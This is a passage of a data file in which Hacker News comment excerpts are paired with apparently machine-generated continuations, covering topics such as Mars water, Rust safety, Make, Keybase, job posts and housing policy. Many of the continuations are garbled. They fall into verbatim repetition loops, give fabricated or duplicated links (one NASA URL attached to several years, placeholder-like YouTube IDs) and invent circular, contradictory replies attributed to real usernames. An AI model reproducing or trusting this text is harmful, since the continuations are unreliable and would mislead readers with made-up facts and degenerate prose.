Never\nviolent but never fully there because his faculties were always suppressed by\nthe effects.\n\nAfter many years, when his health was failing, he begged us grandchildren not\nto follow this path. The regret was so palpable. This was later in my college\nyears, and with all the parties it was hard to pull back. Augustine once\nwrote, \"To many, total abstinence is easier than perfect moderation\". It is a\nrespectable path especially for anyone too far along. I am no teetotaler\neither though. Moderation is also admirable.\n\nI set two limits and they have worked fairly well in my own life:\n\n1) No more than two reasonably sized drinks in a day.\n\n2) Never drink alone.\n\nI nurse those drinks along and savor each tiny sip. It has worked well for\nover ten years and prevented ramping up into anything further. A suggested\nthird rule that has grown on me is:\n\n3) Drink only to amplify joyful occasions never to drown sorrowful ones.\n\nIt may not be for everyone however perhaps this will help some. Godspeed.\n\n------\nLa-ang\nChange your social circle and engage in a radical (to you) sport that requires\nlots of stamina and endurance ("} +{"output_text": " on the Red Planet\n[http://www.nasa.gov/topics/mars/features/water.html](http://www.nasa.gov/topics/mars/features/water.html)\n\n2012: NASA's Mars Reconnaissance Orbiter Finds Evidence of Water on Mars\n[http://www.nasa.gov/topics/mars/features/water.html](http://www.nasa.gov/", "input_text": " on\nMars! I've been enjoying these all my life. This and \"Nuclear fusion created\nin a laboratory for the first time\" headlines.\n\nMy favorite best-evidence-yet-of-water-on-Mars was that time the Phoenix robot\nscooped up an ice cube and took a picture of it.\n\n~~~\nForHackernews\nThis finding is about contemporary, liquid, water.\n\n~~~\nnsxwolf\nNot a new discovery in itself, either.\n\n~~~\nkenbellows\nyes it is...?\n\n~~~\ncoldtea\nYou haven't been following these news very closely, do you?\n\n2008: NASA Spacecraft Confirms Martian Water, Mission Extended\n[http://www.nasa.gov/home/hqnews/2008/jul/HQ_08_195_Phoenix_w...](http://www.nasa.gov/home/hqnews/2008/jul/HQ_08_195_Phoenix_water.html)\n\n2009: Meteorite Impacts Expose Ice on Mars [http://science.nasa.gov/science-\nnews/science-at-nasa/2009/24...](http://science.nasa.gov/science-news/science-\nat-nasa/2009/24sep_martianice/)\n\n2010: NASA Trapped Mars Rover Finds Evidence of Subsurface Water\n[http://www.jpl.nasa.gov/news/news.php?release=2010-355](http://www.jpl.nasa.gov/news/news.php?release=2010-355)\n\n2011: Observations from NASA's Mars Reconnaissance Orbiter have revealed\npossible flowing water"} +{"output_text": "\nI think you're right, but I think the author is also right that the models\nare still useful.\n\n------\njimbokun\n\"The problem is that the models are not based on the real world, but on\nassumptions about the real world.\"\n\nI think this is the key point. The models are not based on the real world, but\non assumptions about the real world.\n\n------\njimbokun\n\"The problem is", "input_text": " does not prove something is not scientific. For\nexample there are simple cellular automatons whose evolution can not be\npredicted, even though all the rules they follow are known.\n\nAlso, what is \"the market\" supposed to mean?\n\n\"Now the interesting thing about this money is that it lost value over time. \"\n\nOh dear, please tell me that it is not the \"Freigeld\" craze finally reaching\nHN :-(\n\n~~~\njuvenn\n\"Failing to predict the future does not prove something is not scientific.\"\nGood point, thanks.\n\n~~~\njwhite\nBut if the technique in question was promoted as a scientific means of doing\njust that, then you have to question it, and its proponents. LTCM is the\nexample that springs to mind.\n\n~~~\njuvenn\nYeh, you make the point. So there are economists who claims that future is\nunpredictable, like Xiaokai Yang[1]. [1]\n\n\n------\nandreyf\nWhat is \"Natural Science\"? A study of a \"natural system\"? What's a \"natural\nsystem\"?\n\nI think what the author means to say, and should have said in one paragraph,\nis that economics has not yet developed an appropriate language for their\nmodels. Economists are still trying to use calculus, which was thought of by\nphysicists do describe physical phenomena, which, when used in economics, is\nleading to wildly inaccurate models.\n\n~~~\nchristofd\nWell put! The basic models of Econ were built on physics envy. They built\nmodels on a fairly artificial set of assumptions that use calculus. Poppycock.\n\n~~~\nrwolf"} +{"output_text": ".\n\n~~~\nmasklinn\n> I mean, sure, it's some more code, but there's still well-defined\n> containment.\n\nWell, yes, but the point is that the borrow checker is not a guarantee of\nsafety, it's a guarantee of _correctness_.\n\n> And, being \"allowed\" to reason about a whole module (well, usually one just\n> cares about a whole type, but these often match, especially", "input_text": " improvement on any other language?\n\nIf the burden of'safety' is formal proof of _the entire module_, then you're\n(surely) no better off than using C++ and doing exactly the same thing.\n\nI mean, obviously the borrow checker can help to some extent, but what you're\nbasically saying is that it's not enough; you can't trust the borrow checker\nfor safety; you _must_ formally verify a module in order to know it's safe, if\nit contains any unsafe code.\n\nIn other words, if your rust program has _any module_ in _any dependency_ that\nhas unsafe code (ie. every rust program), it is potentially unsafe, regardless\nof the borrow checker (because some code path may invoke a'safe' function\nthat has not be formally verified to be safe, and results in undefined\nbehaviour despite being safe).\n\nThat's quite a troubling conclusion.\n\n~~~\ndbaupp\nI'm not really sure what the problem is here: having to formally verify a\nmodule doesn't seem fundamentally different to formally verify a single\nfunction. I mean, sure, it's some more code, but there's still well-defined\ncontainment. And, being \"allowed\" to reason about a whole module (well,\nusually one just cares about a whole type, but these often match, especially\nfor unsafe code) seems far more useful: one can build far more interesting\nabstractions. If one was forced to reason about a single function at a time,\nVec couldn't exist in a useful way, as every function would have to assume the\nincoming Vec value could be arbitrarily invalid.\n\nIn any case, there are many many modules with no `unsafe` code, e.g.\nstd::option has none"} +{"output_text": " would be a good solution.\n\n~~~\njessaustin\nI'm not sure that's a good idea. The sprinkler systems are there to prevent\nfires, not to extinguish them.\n\n~~~\noaijdsfoaijsf\nI'm not sure that's true. I've seen sprinkler systems in wood buildings.\n\n~~~\njessaustin\nI've seen sprinkler systems in wood buildings, but I've never seen a", "input_text": "appreciate wood as a building material. Strong, very easily made into the\nrequired shape, easy to attach to each other, easy to attach other things\nto... I always felt wood was \"how we used to do it\"... not anymore.\n\nGuess this place is a good as any to express my found love for the material.\n\n~~~\nrsync\n\"Guess this place is a good as any to express my found love for the material.\"\n\nI agree with you but I would point out that the buildings and their \"wood\"\nmaterials that the article discusses are really not anything like what you\nworked with.\n\nThe article speaks about wood and trees and \"timbers\" but these building\nmaterials are engineered panels and timbers that, while in many cases\n_actually stronger_ than their \"real wood\" counterparts, do not have the\naesthetics you remember.\n\nI would go so far as to suggest that they are moving not from concrete to wood\nconstruction, but from concrete to _glue_ construction.\n\n~~~\nteekert\nAh, good clarification, indeed I mostly used pinewood for inside and Azobe and\nMeranti for outside (though some composite for the parts we walk on). But The\npleasure was mostly from being able to drills holes and put screws in with a\nlight cordless drill and saw it in the right shape either by hand or a light\njig saw. It's carry-able and still very strong. I guess this also applies to\nthe used composite materials your describe?\n\n------\noaijdsfoaijsf\nWood is a very cool material! But I would be nervous living in a tall building\nmade out of it, because of its flammability. Maybe if all the wood buildings\nalso have sprinkler systems, that"} +{"output_text": " will be updated to the new foo.c,\nresulting in a build failure.\n\nE) It does not check the mtime did not change _during_ a build, effectively\nallowing the build tree to be poisoned with an incorrect build result. For\nexample, edit foo.c _while_ foo.o is being compiled from it. foo.o can be\ncorrect w.r.t old foo.c, but its mtime will be updated to the", "input_text": "rules.make\n\n~~~\nccoggins\nThis is similar to how it was done on a project I recently worked on. It\nworked well enough on a project that built about 300 libraries and 200\nexecutable. It also made it really easy to add new things.\n\n------\ntoolslive\nIt's amazing how far apart evaluations can be. Even something like `Make` has\npeople who love it, and people that eschew it. Moreover, both camps contain\nvery rational, intelligent people. I wonder why.\n\n------\njcoffland\nIt seems like the kids these days would rather write a completely new tool\nthan just learn the basics of Make.\n\n~~~\nPeaker\nI learned Make, but it is just a terrible tool:\n\nA) It is a 2-phase build system (read DAG, traverse DAG) whereas code\ngeneration requires an N-phase build system (build some files, detect more\ndependencies, build more files,...)\n\nB) It has no way to express dependencies on the inexistence of files (#include\n\"foo.h\" will behave differently if the first search directory in the include\npath starts also featuring a \"foo.h\", but this cannot be specified),\nnecessarily meaning that incremental build become incorrect in various\ncircumstances\n\nC) It does mtime-newer check, rather than mtime-equal check. This has numerous\nproblems with various file systems.\n\nD) It does not check the mtime did not change _during_ a build, effectively\nallowing the build tree to be poisoned with an incorrect build result. For\nexample, edit foo.c _while_ foo.o is being compiled from it. foo.o can be\ncorrect w.r.t old foo.c, but its mtime"} +{"output_text": " run by doing a second pass where you do a lot of dispatching\nin advance (at runtime you'll just do what you must do instead of first\nfiguring out what to do and then do it), generating a tree of closures. Then\nyou call your \"top-level\" closure for a nice optimized run. You can optimize\nyour run by doing a third pass where you do a lot of dispatching in advance\n(at runtime you'll just do what you must do instead", "input_text": " 3 9))\n => (43 49 45 51)\n CL-USER> (defun make-modifier (operator operand) ; a bit more general than make-adder\n \t (lambda (initial-value)\n \t (funcall operator initial-value operand)))\n => MAKE-MODIFIER\n CL-USER> (mapcar (make-modifier #'expt 3) '(1 7 3 9))\n => (1 343 27 729)\n CL-USER> (find-if #'numberp '(a \"hi\" nil 8 \"test\" 100))\n => 8\n CL-USER> (find-if #'numberp '(a \"hi\" nil 8 \"test\" 100) :from-end t)\n => 100\n CL-USER> (apply #'+ (remove-if-not #'numberp '(a \"hi\" nil 8 \"test\" 100)))\n => 108\n \n\nThat's _not even_ (by a long shot) the tip of the iceberg.\n\n~~~\nyters\nIt's simple to compile because lisp is essentially a parse tree, which\neliminates the parsing stage in compilation.\n\n~~~\nHexstream\nI was referring to the ability to traverse a tree structure (made of conses or\nobjects) and generate a tree of closures from that.\n\nInstead of interpreting the tree structure, you make a first pass where you do\na lot of dispatching in advance (at runtime you'll just do what you must do\ninstead of first figuring out what to do and then do it), generating a tree of\nclosures. Then you call your \"top-level\" closure for a nice optimized run. You\ncan optimize your"} +{"output_text": "his bedroom.\n\n------\njoshstrange\nI'm not sure if I'm reading this right but I'm not sure I understand the\nproblem.\n\nThe article is about a 15 year old kid who created a mobile app that was\nacquired by Yahoo. The kid is now being called a \"genius\" and \"visionary\"\nbecause he created a mobile app that was acquired by Yahoo.\n\nI don't see how this is a problem.\n\n", "input_text": " of course biased, because I believe (like many others) that algorithms\nare bad at summarization, except for already well-structured content (news are\nusually like this). That includes most blogposts and videos. My startup\n(tldr.io) is trying to actually solve the summarization problem using\ncrowdsourcing. For example, here is the summary of this article:\n[https://tldr.io/tldrs/516542c52dcbc1ab3b0000d2/heres-the-\nrea...](https://tldr.io/tldrs/516542c52dcbc1ab3b0000d2/heres-the-real-reason-\nmarissa-mayer-bought-a-17-year-olds-startup-for-30-million)\n\n------\nsecuringsincity\nI actually stopped reading Gizmodo because i thought the article where they\nmade him cry a few years back was too far. Shaming a 15 year old kid publicly\nno matter how annoying seemed too far. Now he successfully gets summly\nacquired and the support for and shade that has been thrown at this kid has\nbeen so massive. I still don't know what to think of the kid, but I do think\nthat SRI's tech definitely meets the needs of Yahoo and would fit perfectly\nwith their media content.\n\n~~~\nUK-AL\nI don't like how they treated him.\n\nHowever I think it does expose the difference between media reporting(tech\ngenius,visionary, future leader, hard working) and actual\nreality(Narcissistic, child like, unprofessional). And those traits have been\nexposed again, since he claimed to invent the tech and developed the app in\n"} +{"output_text": " the first time in my life. I'm not sure what I'm doing here. I'm\ntrying to figure out what I'm doing here. I'm trying to figure out what I'm\ndoing here. I'm trying to figure out what I'm doing here. I'm trying to figure\nout what I'm doing here. I'm trying to figure out what I'm doing here. I'm\ntrying to figure out what I'm doing here. I'm trying to figure", "input_text": "\n\nWhen it's oppressively cloudy, I use a small gasoline generator to power all\nthe stuff. It also will kick on a battery charger that'll top the batteries\noff.\n\nThis winter I used a propane heater. I've come to realize liquid propane is\nsomewhat money inefficient compared to a wood stove. I'll have the wood stove\ninstalled by next winter. I'll probably keep using the propane oven.\n\nLeading up to me dropping out of society, I came to resent paying rent.. I\nresented the thought of office power games having survival consequences for my\nlife. I didn't have to off-grid like I have.. There are power lines. It's just\nsuch a great feeling to cut out monthly subscription costs from my life. The\nserenity it brings is maximum. Mother gaia gives me my water and sol my\nelectrons.\n\nI still do consulting work as it comes to me. Blissfully, I no longer feel\ndesperation and anxiety between contracts.\n\n~~~\nhector_vasquez\nDon't get me wrong, it's great that you found a way to reduce the work stress\nin your life! But... I genuinely cannot tell whether the guy posting on\nHacker News that he \"dropped out of society\" is being serious or tongue-in-\ncheek.\n\nIf paying society's currency for all the solar panels and the batteries and\nthe gas and the generator and the refrigerator and the laptops and the deeded\nproperty and all the other stuff that society created is dropping out of\nsociety, I wonder what it is like to be a member of society.\n\n~~~\nMrLeap\nIt's a bit tongue-in-cheek but not totally inaccurate. I'm visiting the big\ncity for"} +{"output_text": "\n~~~\ncjbprime\nYes.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI'm not sure if I want to trust a company that is going to be storing my\npasswords.\n\n~~~\ncjbprime\nIt's not storing your passwords. It's storing your public keys.\n\n~~~\njedberg\nSo it's storing my public keys, but not my passwords?\n\n~~~", "input_text": " that's customized just for you! Or\n> a YouTube feed that only shows you interesting videos that _you_ would like!\n\n> Install FeedHamster now!\n\nNow, can you guess what FeedHamster does? Maybe it curates content? Honestly I\nhave no idea. I just made it up. It doesn't really say anything useful at all,\nbut I think it makes more sense that that description on Keybase's website.\n\n~~~\nkinoshitajona\nTarsnap was a good example of a service selling to technically apt customer\nbase. Guys who have years of IT training would love to read about\ndeduplication and picodollars.\n\nKeybase isn\u2019t charging money to begin with, so \u201csales pitches\u201d are not their\nprimary concern.\n\nAlso, they are marketing to \u201cthe masses\u201d with the idea that more people should\nhave secure e2e encrypted communication and collaboration solutions where\nidentity is cryptographically proven.\n\nBut if their welcome page started showing diagrams of encryption pathways and\nkey derivation algorithm names with server client relationship diagrams, I\nguarantee no one besides people in tech will download it.\n\nI still think they need to do better selling the idea to the masses, I in no\nway think their current front page is sufficient, but I understand that right\nnow they aren\u2019t concentrating on sales pitches.\n\n------\nadiosdfisndf\nTried to create an account and no matter what I tried to name my devices all I\ngot was \"keybase has reserved this name.\"\n\nWelp.\n\n~~~\ncjbprime\nAh, it's not the device names that are reserved, it's the username itself.\n\n------\nfeelin_googley\nDoes it use libgcrypt?\n"} +{"output_text": "\nexperience.\n\nScaleLab is a fast-growing, profitable, and well-funded startup that is\nbuilding a platform for the world\u2019s largest brands to manage their digital\nadvertising. We are a small team of engineers, designers, and marketers who\nare passionate about building products that make a difference.\n\nWe are looking for a mid-level to senior frontend developer with ReactJS\nexperience.\n\n[https://www.scaledelivery.com", "input_text": " said that, the technology you are familiar with is\nunimportant.\n\nMail me at hnusername @zyelabs.net\n\nor\n\n[https://zyelabs.typeform.com/to/sl7rCS](https://zyelabs.typeform.com/to/sl7rCS)\n\n------\nwklaynman\nJustworks Inc: New York City, NY - Fulltime - Onsite Only - Will relocate\n\nFront-end Engineers - Software Engineers - Security Engineers - Product\nDesigners - Product Managers - Marketing Managers and more!\n\n[http://bit.ly/1NMwpCp](http://bit.ly/1NMwpCp) OR email jobs@justworks.com\n\n------\nsendgridee\nSendGrid is hiring for a Senior Software Engineer!\n[http://grnh.se/2byfw11](http://grnh.se/2byfw11)\n\nmore opportunities at:\n[https://sendgrid.com/careers/](https://sendgrid.com/careers/)\n\n------\njonathanbull\nEmailOctopus | LONDON | ONSITE\n\nWe're a bootstrapped startup offering mail marketing for up to 10x cheaper\nthan MailChimp. Looking for an onsite PHP developer to join us - knowledge of\nAWS essential.\n\n[https://emailoctopus.com](https://emailoctopus.com)\n\nEmail jonathan [@companyname].com\n\n------\nrscotten\nScaleLab.com | Frontend Developer (ReactJS) | Los Angeles, CA, USA | Full-time\n| Onsite\n\nLooking for mid-level to senior frontend developers with ReactJS (React.JS)"} +{"output_text": "intent\" is relevant.\n\n~~~\nerikpukinskis\nBecause it's a legal document.\n\n~~~\nbandrami\nIt's a memo. It's not a law.\n\n~~~\nerikpukinskis\nIt's a memo that was written by a lawyer.\n\n~~~\nbandrami\nIt's a memo that was written by a lawyer who is a member of the board of\ndirectors of a company.\n", "input_text": ". While I mostly agree with the memo's general thrust, that it would be\nbetter to do this a different way, I think the alarmism is a little out of\nplace. It's certainly a problem that conservatives are afraid to speak up\nabout gender issues, but I doubt that's Google's biggest culture problem right\nnow.\n\n~~~\nagarden\nI think the idea you are advocating, that they should change the nature of the\njob to make it more accommodating to a more diverse talent pool, is the kind\nof thing the memo was advocating. See the section titled \"Non-discriminatory\nways to reduce the gender gap\".[1] In that section, he suggests making the\nwork more cooperative instead of competitive and making part-time work first-\nclass, among other things. He also suggests making the work more\ncollaborative, which seems a lot like your \"changing the things coders are\nallowed to focus on.\" He then goes on to note that doing this will also mean\nGoogle will diversify the kind of male that it gets, just like you do.\n\nOr am I missing some difference in what you are suggesting and what the memo\nsuggested?\n\n1\\. [http://diversitymemo.com/#reduce-gender-\ngap](http://diversitymemo.com/#reduce-gender-gap)\n\n~~~\nerikpukinskis\nYes, I think our methodology is the same, but the memo seems to expect that\nGoogle will still be <50% women in that scenario, whereas I believe it will be\nbrought to 50%. Which is why I don't see the quota system as a fundamental\nrisk to Google, whereas he does.\n\n------\nbandrami\nI'm not sure why anybody thinks his \"intention\" or \""} +{"output_text": "\nI was hiring after I had the initial success.\n\n~~~\ntachion\nI'm asking if you were hiring before you had the initial success, how come the\nfirst version ever came out?\n\n~~~\ntrevmckendrick\nI was not. I was not even thinking about hiring at that point. I was just\ntrying to get the app out there.\n\n------\njoshstrange\nI'm curious, what was the initial idea behind", "input_text": " research in the App Store though I realized audio Bibles were\nselling much more than I was.\n\nSo I outsourced the audio (mentioned in the post I think) and now the model is\nthat users download the original app (with the text) for free, and then can\nbuy the audio as an IAP.\n\nThis works great on multiple fronts: I collect more email address, I rank\nbetter in search because I get more downloads, and the audio sells better as\nan IAP than as a stand alone app.\n\n~~~\nPaul_D_Santana\nWow, you are incredibly ingenious! Thank you for responding!\n\n~~~\ntrevmckendrick\n:) You bet\n\n------\njebek\nI'm sure you'll make it clear in later posts, but are you a developer?\n\n~~~\ntrevmckendrick\nI'm not a dev or a designer. I'm tech savvy enough that I'm still the computer\nrepair guy for my entire extended family, but I'm def not fluent in Objective\nC.\n\n~~~\ntachion\nIf so, and only the later posts are about hiring, what, I assume, means you\nwere hiring only after you've found about initial success, how come the first\nversion ever came out?\n\nBeside that, great story, great spirit, congratulations, I admire everyone\nactually getting things done :)\n\n~~~\ntrevmckendrick\nI'm not sure I understand the question, but I think you're asking how I made\nthe app at all if I'm not a dev/designer?\n\nI outsourced 95% of it. I created the initial mockups by hand and did some of\nthe debugging, but the core app development was done by contractors. And yes,"} +{"output_text": " fire control:\n[https://www.youtube.com/watch?v=Z_0_0_0_0g](https://www.youtube.com/watch?v=Z_0_0_0_0g)\n\nA 1943 documentary about the development of the US Navy's fire control\ncomputer:\n[https://www.youtube.com/watch?v=Z_0_0_0_0g](https://www.youtube.", "input_text": "\nthat the target won't change its course... finally it was the time... nothing!\nFor every five fires or so, there would be one or two torpedoes that never\nexplode - when you need it the most. I was not playing the \"hard\" mode, it\nhappens even in a \"moderate\" difficulty setting.\n\nI thought the game developers were making it unreasonable. And a few years\nlater, I learned from a history book about the early unreliability of the\ntorpedoes, and realized the torpedoes in the game were an accurate and\nrealistic depiction of its historical performance. Kudos to the game\ndevelopers.\n\nAnother tool in the game I felt strange was the \"Torpedo Data Computer\", which\nis something that you can simply enter the bearing, speed, etc., of your\ntarget via its tuning dials, and the machine automatically calculates the\nfiring position for you. I thought it was just the hand-waving of the game\ndevelopers to make the game more playable while making it unrealistic - why\nwould a computer even exist in the 1940s? I believed it was all pencil-and-\npaper.\n\nLater I learned it was real as well - totally mind-blowing. When I was a kid,\nI had no idea about the sophisticated historical mechanical fire control\ncomputers in the 1930s-1940s. There is a Hacker News submission of the\ndocumentation of the computer. [0]\n\n[0]\n[https://news.ycombinator.com/item?id=12785113](https://news.ycombinator.com/item?id=12785113)\n\n~~~\nleoc\nHere are a few fun videos related to this.\n\nA 1943 USAF documentary about ground-based"} +{"output_text": " is happening, I've been looking for a way to get my old\ndevices to run Linux for a while now.\n\n~~~\njosteink\nI\u2019m looking forward to this. I\u2019ve got a few old phones and tablets that I\u2019d\nlove to get running again.\n\nI\u2019m also looking forward to the day when I can get my old Android devices to\nrun Linux.\n\n~~~\namiga-workbench\nI've got a few", "input_text": "the_ mainstream Linux stack.\n\n~~~\nbubblethink\nI think they meant mainline.\n\n------\npetemc_\nReally good idea, fair play to everyone working on it. I generally try to keep\nmy phone as long as possible but the main driver to make me get new phone is\nthe diminishing battery capacity. This isn't helped by the fact it is very\nhard to get a replacement battery shipped to where I live.\n\n~~~\nzozbot123\nIf you control the OS and hardware drivers on your device, you can preserve\nits battery capacity substantially by keeping its state-of-charge around 50%\nas far as practicable (keeping it from reaching not just \"lows\" which you\nshould _always_ do, but \"highs\" as well). We aren't even close to reaching the\n_full_ amount of battery optimization that's possible on mobile.\n\n~~~\nyorwba\nI wonder how that advice applies if the battery capacity has already degraded\nsignificantly. For example, my current laptop's battery reports itself to be\n\"100% charged\" at 60% of its original capacity. Should I keep it around 30%? I\ndon't really know enough about battery chemistry to understand how high levels\nof charge cause damage.\n\n~~~\nzozbot123\nNo, keep it hovering around 50% as much as you can, provided that it _never\never_ reaches really low states of charge, 15% or less. State of charge is\nalways relative to the capacity at current time, not the original factory\ncapacity.\n\n------\namiga-workbench\nI've got piles of old devices, I wouldn't mind having a go at getting this to\nboot on my Xperia Z5c and Z3.\n\nI'm so glad this"} +{"output_text": " over, \"I don't want to use that\nMicrosoft software.\"\n\nI don't want to use that Microsoft software.\n\nI don't want to use that Microsoft software.\n\nI don't want to use that Microsoft software.\n\nI don't want to use that Microsoft software.\n\nI don't want to use that Microsoft software.\n\nI don't want to use that Microsoft software.\n\nI don't want to use that Microsoft software.\n\n", "input_text": "86 architecture with hierarchical file systems with capabilities and\naccess control lists. If there are security holes, I sure as heck want to know\nwhy; but apparently there have been security holes, and I never got even\nreasonably good information on why.\n\nA few years ago, I saw that Microsoft had patched a security hole caused by a\nbuffer overflow bug. Outrageous that Microsoft should still have buffer\noverflow bugs.\n\nI intend to bring up an instance of a recent version of Windows Server, but I\nhave no solid information or even an idea, none, not even zip, zilch, or zero,\nwhat the situation is on bugs or security.\n\nI would have no idea at all on how to run a _secure_ Windows system attached\nto the Internet.\n\nLooking around at my XP system, I was just outraged to the point of screaming\nto discover that Microsoft had started some _message service_ that was later\nseen to be a security risk. I didn't ask for that message service. I wasn't\ninformed that it was running. I wasn't using that message service. I had no\nintention of using that message service. What the heck other obscure, hidden,\nsecret software is Microsoft starting, not telling me about, and that could\ninfect my system? I'm torqued. But there isn't much I can do about it.\n\nTo me, that moving to Windows 10, that apparently keeps _phoning home_, would\nsolve security problems instead of causing them is a really bad joke. Windows\n10 apparently has a lot of new software that likely has bugs. That new\nMicrosoft software, I want nothing to do with it.\n\nAlso I have long been totally torqued off, even screaming, as I clicked and\nclicked and clicked and said over and"} +{"output_text": "\njamesjyu\nI think the problem is that the app store is a closed system. You can't\ndownload apps from outside the app store.\n\nI think the solution is to have a \"store\" that is open to the public.\n\n~~~\njamesjyu\nI think the solution is to have a \"store\" that is open to the public.\n\n------\njamesjyu\nI think the problem is that the app store is a closed", "input_text": "the commercial was that the iPhone was on Sprint. They didn't give me the app\nor whether the game was live. The commercial became immediately insignificant.\n\n~~~\ncageface\nI don't think marketing is the answer here. Every musician I know with an iOS\ndevice knows about this app. The problem is that the potential audience for\nsomething like this is never going to be big enough to make the Angry Birds\npricing model work.\n\n~~~\ntechnoslut\nI've seen some that hate movies or TV but I've never seen anyone who doesn't\nlike music or wants ti create it, even on a superficial level.\n\nAngry Birds is an outlier. Their success had as much to do with quiet\nadvertising than any blog could do.\n\nAt the end of the day, everyone wants to create \u2013 even it is something\ndifferent with an usual set of apps.\n\nSome believe that iOS is only meant to consume. I don't believe that. Apple\nhas essentially released iWork and GarageBand in subsequent iPad releases.\n\n------\nMBCook\nThe kick the tires problem is a big one for me. I've downloaded enough free\napps that are junk. Downloading a paid app that has all sorts of problems is\nvery annoying, so I usually wait quite a while before buying something for\nreview to come in.\n\nThis makes me a little hesitant to try $ and $2 apps, even though\nrealistically that's a trivial amount of money. But if an app is $5 or $10,\nthen I really want a chance to try it first. Many apps don't have 'lite'\nversions (since, IIRC, demos are forbidden).\n\nJust having some kind of 2 hour return/refund policy would really help.\n\n------"} +{"output_text": " years of experience. I'm\npassionate about building great products and I'm always looking for new\nchallenges.\n\nI'm currently working as a Senior Front End Angular Developer at a small\nstartup in the UK. I'm looking for a part-time position where I can work 4\nhours a day, ideally in the US.\n\n------\njames-a-morgan\nLocation: San Francisco, CA\n\nRemote: Yes\n\nWilling to rel", "input_text": " common lisp shop. Looking for a linux based company.\n(macOS as workstation computer/laptops is great too!). Avid learner, I try to\nread and learn as much as possible, I've recently gone through Designing Data\nIntensive Applications, and Designing Distributed Systems. Would be glad to\nwork at a company that uses a functional language, such as Haskell, especially\nif they don't expect new employees to come in already knowing the language.\nAlso highly interested in companies using Rust, python, or go.\n\nAmbitious: only been at the company a year and spent a significant amount of\ntime this summer directing an intern, overhauled the build system the company\nuses internally (set up jenkins over previous system).\n\nEager to learn as much as I can.\n\n------\nnunoarruda\nFront-End Angular Developer\n\nLocation: Europe\n\nRemote: Yes, remote only\n\nWilling to relocate: No\n\nTechnologies: HTML, CSS, Sass, DOM, JavaScript, ES6/7/8, TypeScript, JSON,\nAJAX, HTTP, Web APIs, RESTful APIs, Bootstrap, Angular, RxJS, NgRx, Ionic,\nAngular Material, Wijmo, Karma, Jasmine, Protractor\n\nR\u00e9sum\u00e9/CV:\n[https://nunoarruda.com/resume.pdf](https://nunoarruda.com/resume.pdf)\n\nEmail: nuno@nunoarruda.com\n\nLooking for: Permanent but part-time (4 hours a day) employment\n\nHi, I'm Nuno, a Result-Oriented Front End Angular Engineer with a strong\ntechnical skill-set, attention to detail, and 17"} +{"output_text": "\nis that they are \"not very good at explaining their beliefs\". I'm not sure\nwhat you're trying to say here.\n\n>There is something more mundane about the quote, and that is the psychology\nof people who are willing to believe truly crazy stuff, and there is a lot\ngoing on there, probably worth study.\n\nI'm not sure what you're trying to say here.\n\n~~~\njariel\n\"If you're going for intellectual honesty,", "input_text": " this meaningless 'life has no\nmeaning without belief in gods' trope pervade my favorite forum for which I'd\nrather view tech news and not be denigrated for not having found any\nbelievable gods yet. Nihilism isn't defined by lack of belief in gods.\n\n~~~\njariel\n\" and it's sometimes used, as in your case, to push religious propaganda.\"\n\nA comment is not 'propaganda'.\n\nUnless your comment is 'Atheist Propaganda'.\n\nSeriously.\n\n\"Nihilism isn't defined by lack of belief in gods.\" Fine, but that doesn't\ntake away anything about what he said about Nihlism.\n\nThere is something more mundane about the quote, and that is the psychology of\npeople who are willing to believe truly crazy stuff, and there is a lot going\non there, probably worth study.\n\n~~~\n0134340\n>A comment is not 'propaganda'.\n\nIf you're going for intellectual honesty, \"a comment can be propaganda.\" But\nin this case it has been as propaganda if going by the typical definition of\n\"the systematic propagation of a doctrine\". Of which atheism or agnosticism\nhave none and more often than not, in the west it's atheistic ideologies that\nwere more systemically pushed by establishment as propaganda than atheistic by\na large margin. So it's fair to say it's often used as propaganda, this\nspecific quote I've personally witnessed used as such many times and it reeks\nof self-righteousness.\n\n>Fine, but that doesn't take away anything about what he said about Nihlism.\n\nAnd so what did he say about nihilism? Your criticism of AGNB's interviewees"} +{"output_text": "ventured\nThe article is a bit of a mess. It's a bit of a mess because it's written by\nsomeone who is not a real estate expert, and it's written by someone who is\nnot a real estate expert.\n\nThe article is written by someone who is not a real estate expert because it\nis written by someone who is not a real estate expert.\n\nThe article is written by someone who is not a real estate expert because it\nis written by", "input_text": " a pretty terrible\none.\n\nI highly recommend reading this article to learn more -\n[http://jlcollinsnh.com/2013/05/29/why-your-house-is-a-\nterrib...](http://jlcollinsnh.com/2013/05/29/why-your-house-is-a-terrible-\ninvestment/)\n\n------\nvslira\nAccording to the article, mainly: 1 - Government doesn't subsidize homeowners;\n2 - Renting rules are reasonable for renters, increasing supply which makes\nrenting affordable.\n\nThere, saved you a click.\n\n~~~\neasytiger\nThe government doesn't subsidies home owners in the UK and it is considered\nvery very expensive, apparently, by many.\n\n~~~\nMagnumOpus\nThe government does subsidise home owners through nearly a dozen different\nschemes[1], landlords through a dozen more[2], and the mortgage banks through\nanother score[3], which is the reason why prices are very expensive indeed.\n\n[1] freedom from capital gains tax, RTB, HTB equity loan, HTB mortgage\nguarantee, HTB ISA, Forces HTB, NewBuy, AFHOS, Shared Ownership Scheme, Key\nWorker Scheme, Home Ownership Scheme for Cripples, and that is just off the\ntop of my head\n\n[2] rent floors through LHA, tax deductability, ability to flip residence\nbetween first and second homes for zero cap gains tax, freedom from\ninheritance tax beyond the usual limit...\n\n[3] state bailouts for all major banks, gurantees, QE, QE2, QE3, liquidity\nschemes, credit purchase schemes etc etc\n\n------\nad"} +{"output_text": " of decades, and I\u2019ve never seen a more\nuninformed, unproductive, and unproductive group of people than the climate\nchange activists.\n\n~~~\nkd5bjo\nI\u2019m not sure what you\u2019re trying to say here. I\u2019m not saying that climate\nchange activism is useless, or that it\u2019s not important. I\u2019m saying that it\u2019s\nnot the only thing that needs to be done, and that it\u2019s", "input_text": "consider doing.\n\nI think Amazon and the other cloud companies need to come down hard and state\nunequivocally that cloud services are not fodder for political crusades, and\nthey will allow all companies that are conducting legal business activities,\nto be able to use their cloud.\n\n~~~\nn_time\n> If they have to worry about what latest moral crusade will try to get you\n> kicked off the cloud platform, they will be a lot more reticent about\n> migrating to cloud.\n\nEquating climate change activism with all other forms of social justice is a\ncommon trend I see. They seem so different to me\u2013the difference between\nempirical reality and ideology. While the outcomes of climate change will be\nideological\u2013save climate refugees or preserve competitive advantage and\nwealth\u2013the immediate concern of attempting to mitigate the impacts of climate\nchange are relatively rational.\n\n> if you were a fossil fuel or car company that makes gas burning vehicles\n\nHave you tried putting on your role-playing hats and empathising with some of\nthe points being made on the environmentalist side?\n\n~~~\nkd5bjo\nThe problem with most climate change activism is that it\u2019s hyper-targeted\nagainst the offender du jour and all of the others are largely ignored. It\u2019s a\nglobal-scale problem that demands 